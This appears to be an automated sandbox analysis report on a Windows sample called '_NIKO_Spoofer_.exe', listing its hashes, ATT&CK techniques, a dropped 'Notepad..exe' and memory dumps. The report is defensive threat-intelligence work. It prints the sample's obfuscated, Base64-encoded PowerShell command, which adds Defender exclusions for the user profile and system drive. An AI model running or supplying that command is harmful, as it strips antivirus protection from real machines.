a500b238ec483181fc6ec328103c991096a9377a892c28d0c0bb7364c5c152bf

General

Target

_NIKO_Spoofer_.exe
Size

3.0MB
MD5

8aa18e6a04e864aebea99a41536194d9
SHA1

111d50016cd59ae07bb4d1909f633e299868c7cc
SHA256

a500b238ec483181fc6ec328103c991096a9377a892c28d0c0bb7364c5c152bf
SHA512

e50024342699cccbd906fb1b5fba04d8b3533fd6353beb505abb0bf1280a094785e5f5ea08e461097b453705b4e0cc4028aebf13b6120b5a14f67d82628a908e
SSDEEP

49152:e+T+LvoetAn6eUja72SoxK8kMCuyRO3A4068glf4ZiZ3qyHHgllDH8NU+oe9:eLvoGa72C89s6lwZiZoDzU

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	_NIKO_Spoofer_.exe

Executes dropped EXE 1 IoCs

pid	Process
4720	Notepad..exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Notepad..exe	_NIKO_Spoofer_.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4796	powershell.exe
4796	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4720	Notepad..exe
Token: SeDebugPrivilege	4796	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2628 wrote to memory of 4796	2628	_NIKO_Spoofer_.exe	88
PID 2628 wrote to memory of 4796	2628	_NIKO_Spoofer_.exe	88
PID 2628 wrote to memory of 4796	2628	_NIKO_Spoofer_.exe	88
PID 2628 wrote to memory of 4720	2628	_NIKO_Spoofer_.exe	90
PID 2628 wrote to memory of 4720	2628	_NIKO_Spoofer_.exe	90

C:\Users\Admin\AppData\Local\Temp\_NIKO_Spoofer_.exe
"C:\Users\Admin\AppData\Local\Temp\_NIKO_Spoofer_.exe"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAegBoACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAYgB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHgAdwBpACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAdABhACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4796
- C:\Windows\Notepad..exe
  "C:\Windows\Notepad..exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l5nn1ap2.3xw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Notepad..exe

Filesize
3.0MB

MD5
14237f9d434ff7058144d542302f7d43

SHA1
ccf21de4cd26ff462e326f38f3b1c4cefe2b4ea4

SHA256
4030a4a25c52d9a52334469d913de3f838f1d93741c57bd07aada7fc23317e54

SHA512
4d36bfc20a6d0b1ec13b6e79daf0b4970c1417e3efe41915baf999374af9e544707fe3d7cd86490b444a1a7307865b95c57c05762dbd3941a895b06a78941be5

Download Submit
C:\Windows\Notepad..exe

Filesize
3.0MB

MD5
14237f9d434ff7058144d542302f7d43

SHA1
ccf21de4cd26ff462e326f38f3b1c4cefe2b4ea4

SHA256
4030a4a25c52d9a52334469d913de3f838f1d93741c57bd07aada7fc23317e54

SHA512
4d36bfc20a6d0b1ec13b6e79daf0b4970c1417e3efe41915baf999374af9e544707fe3d7cd86490b444a1a7307865b95c57c05762dbd3941a895b06a78941be5

Download Submit
C:\Windows\Notepad..exe

Filesize
3.0MB

MD5
14237f9d434ff7058144d542302f7d43

SHA1
ccf21de4cd26ff462e326f38f3b1c4cefe2b4ea4

SHA256
4030a4a25c52d9a52334469d913de3f838f1d93741c57bd07aada7fc23317e54

SHA512
4d36bfc20a6d0b1ec13b6e79daf0b4970c1417e3efe41915baf999374af9e544707fe3d7cd86490b444a1a7307865b95c57c05762dbd3941a895b06a78941be5

Download Submit
memory/4720-11-0x0000000000920000-0x0000000000C22000-memory.dmp

Filesize
3.0MB

Download
memory/4720-12-0x00007FFC1ECC0000-0x00007FFC1F781000-memory.dmp

Filesize
10.8MB

Download
memory/4720-51-0x00007FFC1ECC0000-0x00007FFC1F781000-memory.dmp

Filesize
10.8MB

Download
memory/4796-32-0x00000000051C0000-0x00000000051D0000-memory.dmp

Filesize
64KB

Download
memory/4796-45-0x00000000075D0000-0x0000000007673000-memory.dmp

Filesize
652KB

Download
memory/4796-17-0x0000000005740000-0x0000000005762000-memory.dmp

Filesize
136KB

Download
memory/4796-18-0x0000000005F20000-0x0000000005F86000-memory.dmp

Filesize
408KB

Download
memory/4796-15-0x0000000005090000-0x00000000050C6000-memory.dmp

Filesize
216KB

Download
memory/4796-28-0x0000000006090000-0x00000000060F6000-memory.dmp

Filesize
408KB

Download
memory/4796-29-0x0000000006100000-0x0000000006454000-memory.dmp

Filesize
3.3MB

Download
memory/4796-30-0x0000000006600000-0x000000000661E000-memory.dmp

Filesize
120KB

Download
memory/4796-31-0x0000000006620000-0x000000000666C000-memory.dmp

Filesize
304KB

Download
memory/4796-14-0x00000000051C0000-0x00000000051D0000-memory.dmp

Filesize
64KB

Download
memory/4796-33-0x0000000006BC0000-0x0000000006BF2000-memory.dmp

Filesize
200KB

Download
memory/4796-34-0x00000000709F0000-0x0000000070A3C000-memory.dmp

Filesize
304KB

Download
memory/4796-44-0x0000000006BA0000-0x0000000006BBE000-memory.dmp

Filesize
120KB

Download
memory/4796-16-0x0000000005800000-0x0000000005E28000-memory.dmp

Filesize
6.2MB

Download
memory/4796-46-0x0000000007F50000-0x00000000085CA000-memory.dmp

Filesize
6.5MB

Download
memory/4796-47-0x0000000007910000-0x000000000792A000-memory.dmp

Filesize
104KB

Download
memory/4796-48-0x0000000007980000-0x000000000798A000-memory.dmp

Filesize
40KB

Download
memory/4796-49-0x0000000007BA0000-0x0000000007C36000-memory.dmp

Filesize
600KB

Download
memory/4796-50-0x0000000007B10000-0x0000000007B21000-memory.dmp

Filesize
68KB

Download
memory/4796-13-0x0000000074BD0000-0x0000000075380000-memory.dmp

Filesize
7.7MB

Download
memory/4796-52-0x0000000074BD0000-0x0000000075380000-memory.dmp

Filesize
7.7MB

Download
memory/4796-53-0x0000000007B50000-0x0000000007B5E000-memory.dmp

Filesize
56KB

Download
memory/4796-54-0x0000000007B60000-0x0000000007B74000-memory.dmp

Filesize
80KB

Download
memory/4796-55-0x0000000007C40000-0x0000000007C5A000-memory.dmp

Filesize
104KB

Download
memory/4796-56-0x0000000007B90000-0x0000000007B98000-memory.dmp

Filesize
32KB

Download
memory/4796-57-0x00000000051C0000-0x00000000051D0000-memory.dmp

Filesize
64KB

Download
memory/4796-60-0x0000000074BD0000-0x0000000075380000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing